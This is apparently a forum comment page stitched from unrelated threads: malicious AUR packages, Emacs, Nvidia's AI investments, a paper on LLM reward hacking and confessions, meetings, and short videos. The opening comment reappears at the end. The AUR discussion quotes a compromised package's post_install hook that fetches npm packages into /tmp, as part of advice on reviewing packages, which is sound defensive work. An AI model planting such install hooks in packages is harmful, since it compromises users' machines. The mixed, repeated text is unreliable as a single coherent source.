> isn’t that also the case for every browser extension, VSCode extension, nuget package, Cargo crate, python package, npm package
Yes, and all of those have supply chain hacks in them, and have happened within the last year? In this specific case, it's a malicious npm package being installed with official npm tooling in the PKGBUILD.
The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing, they are very simple bash scripts. It'd be great if more people would donate resources to help verify and validate AUR scripts, but the AUR specifically exists for packages that the trusted users and devs of arch don't have time to personally maintain.
> The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing
Simply reviewing the PKGBUILD is not enough for the same reason reviewing a Makefile is not enough: You need to review the source code for _everything_ that is being downloaded and executed on your machine. For AUR packages, that means not just the PKGBUILD but the full source code for the program it is building and the full source code for any of its dependencies.
Hypothetical example: you wouldn't have caught the xzutils exploit by reading the PKGBUILD.
No it wasn't? It ran npm install from post install script in another file. If they named it better people probably wouldn't have even noticed so quickly.
True, but looking at a compromised PKGBUILD[0], it looks like it is installing "atomic-lockfile" and "figures". I think 99% of people reading the PKGBUILD would assume those are legit dependencies needed by the program. It's not like it was running "npm install 1337hax0r". Which is why you need to read the source for both "atomic-lockfile" and "figures" (and literally everything else).
in /tmp?! in post_install()??! With a new random contributor email????
Archlinux is focused on enabling a specific type of user, and certainly ones that can read bash scripts, and understand reasonable depedencies vs unreasonable ones. And even then - this is specifically in the AUR and not a package the distro directly offers.
Programs often invoke other programs through the exec* family of syscalls. For example, git is written in C but it ships with perl dependencies. It is not unreasonable to assume pass-cli added a runtime dependency on a program written in javascript. Regardless, we're talking hundreds of AUR packages have been compromised, I'd be shocked if none of them were javascript-based programs. Perhaps pass-cli was simply a bad example for me to choose.
> It changes the contributor email?
I think this is the 2nd most sus change, but even so, I have changed email addresses over the years so it isn't completely unreasonable.
I'm not sure if you're trying to strawman or are inexperienced.
No, this in no way or shape looks like installing a legitimate dependency to the target audience (expert users). This is a package manager, you don't install dependencies via post_install.
From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line:
> install=toggldesktop-bin-deps.install
And the toggldesktop-bin-deps.install contains this:
> post_install() {{
> cd /tmp
> bun add axios uuid ora js-digest
> }}
Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.
- sources array has sources that don't correlate to the package name/purpose or are from strange places, like github repos that don't seem relevant etc.
- extensive post install scripts suggesting it's doing a lot more than is normal
But those are very crude, I wonder if an AUR helper could optionally consult a local LLM to review a PKGBUILD before installing these days...
i wouldn't necessarily trust a repo that does seem relevant either. it's trivial to put any data you want at a url which, at a glance, appears to legitimately belong to any repo you can fork.
typically attacks happen when the URL for the source code or binary gets changed significantly... or like in this attack someone adds something to the post_install section which does something like add an npm install command. a lot of updates for binaries are just version bumps and SHA hashes changing which are easy to vet if you trust the source to not be compromised.
I probably add or change a feature in emacs once a day, or every other day. I've been using emacs for some insane amount of time, maybe 20 years? And still I had more customization to go.
Emacs and programs with it's level of programmatic user customization will survive the AI period in my opinion. Anything static will falter.
> Nvidia CEO Jensen Huang said his company’s recent investments in OpenAI and Anthropic are likely to be its last in both, saying that once they go public as anticipated later this year, the opportunity to invest closes
ok, sounds obvious
> Nvidia, for its part, isn’t offering much more on the matter
ok, so no more news from nvidia
> Still, a few other dynamics might also explain the pullback..
Please reread (or.. read) the paper. They do not make that mistake, specifically section 7.1.
A reward function (R) may be hackable by a model's response, but when asked to confess it is easier to get an honest confession reward function (Rc) because you have the response with all the hacking in front of you, and that gives the Rc more ability to verify honesty than R had to verify correctness.
There are human examples you could construct (say, granting immunity for better confessions), but they don't map well to this really fascinating insight with LLMs.
While I have several disagreements with this deck, there are two large ones:
1. In my experience, a lot of teams don't have long enough meetings to avoid the litany of small meetings. For example, a lot of staff meetings could easily be 2 hours and then cancel many project specific meetings that have 50%+ of the same attendees later in the week. They also enforce a cadence of execution - everyone knows they need to prepare for the weekly staff meeting, rather than many small meetings every day. It also avoids the problem of people feeling not included - you're always invited to the one huge meeting every week, it's up to you to attend or skip.
2. The problem with meeting culture cannot be solved with education on how to say no, it's about admitting that attending meetings actually does convey a lot of things. Lots of information is not shared outside of meetings. Seniority of attendees actually does have a huge impact on visibility in folks' careers. A lot of the advice in this slide deck feels like it should work, but doesn't in practice because of self interest.
The education that needs to happen is quite different imo:
- leadership needs to be done through writing
- meetings should be recorded and minutes sent out broadly, along with allowing silent attendance.
- decisions need to give time for dissent outside of meeting attendees before committing.
While I agree a lot of information is conferred, most of it is not useful.
I'm quite a fan of not attending meetings where I don't get specifically invited (as in, directly, not as part of a group). This may or may not fly at a given organisation. Anyhow, my main learning has been that:
1. All truly important information will be repeated (in the form of tickets, slack messages, further meetings). Usually several times.
2. Most useful subordinate information (the kind that doesn't get repeated) only needs to be related to 1 person 80%+ of the time. It's vanishingly rare 3 or more people need some information that isn't ever repeated elsewhere.
The only really useful work in meetings is making decisions. This is an essential feature, but a big problem is often many "spectators" are invited (attendees without decision power or context). Being a pure spectator in a meeting is almost always completely pointless. Also, people like to make decisions/input so meetings are rife with bike shedding (most people have decision power + context for low importance items usually).
Math notation is high context, so it's great to just ask llm's to print out the low context version in something like lisp where I can read and decompose it quickly.
attention required: 10 minute video > 10 second short
When the written word took over with the printing press, the same concern was levied. The amount of attention required to listen and memorize a story/poem is a lot more than just reading it.
The change with smart phones is just one of access/time spent on these things. There are people who are spending ~5 hours/day watching this content. There is a big difference between someone listening to 5 hours of a single poem, to reading 5 hours of a single book, to reading 5 hours of blog posts, to watching 5 hours of a youtube video, to watching 5 hours of random videos, to 5 hours of <10s videos.
Yes, and all of those have supply chain hacks in them, and have happened within the last year? In this specific case, it's a malicious npm package being installed with official npm tooling in the PKGBUILD.
The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing, they are very simple bash scripts. It'd be great if more people would donate resources to help verify and validate AUR scripts, but the AUR specifically exists for packages that the trusted users and devs of arch don't have time to personally maintain.
reply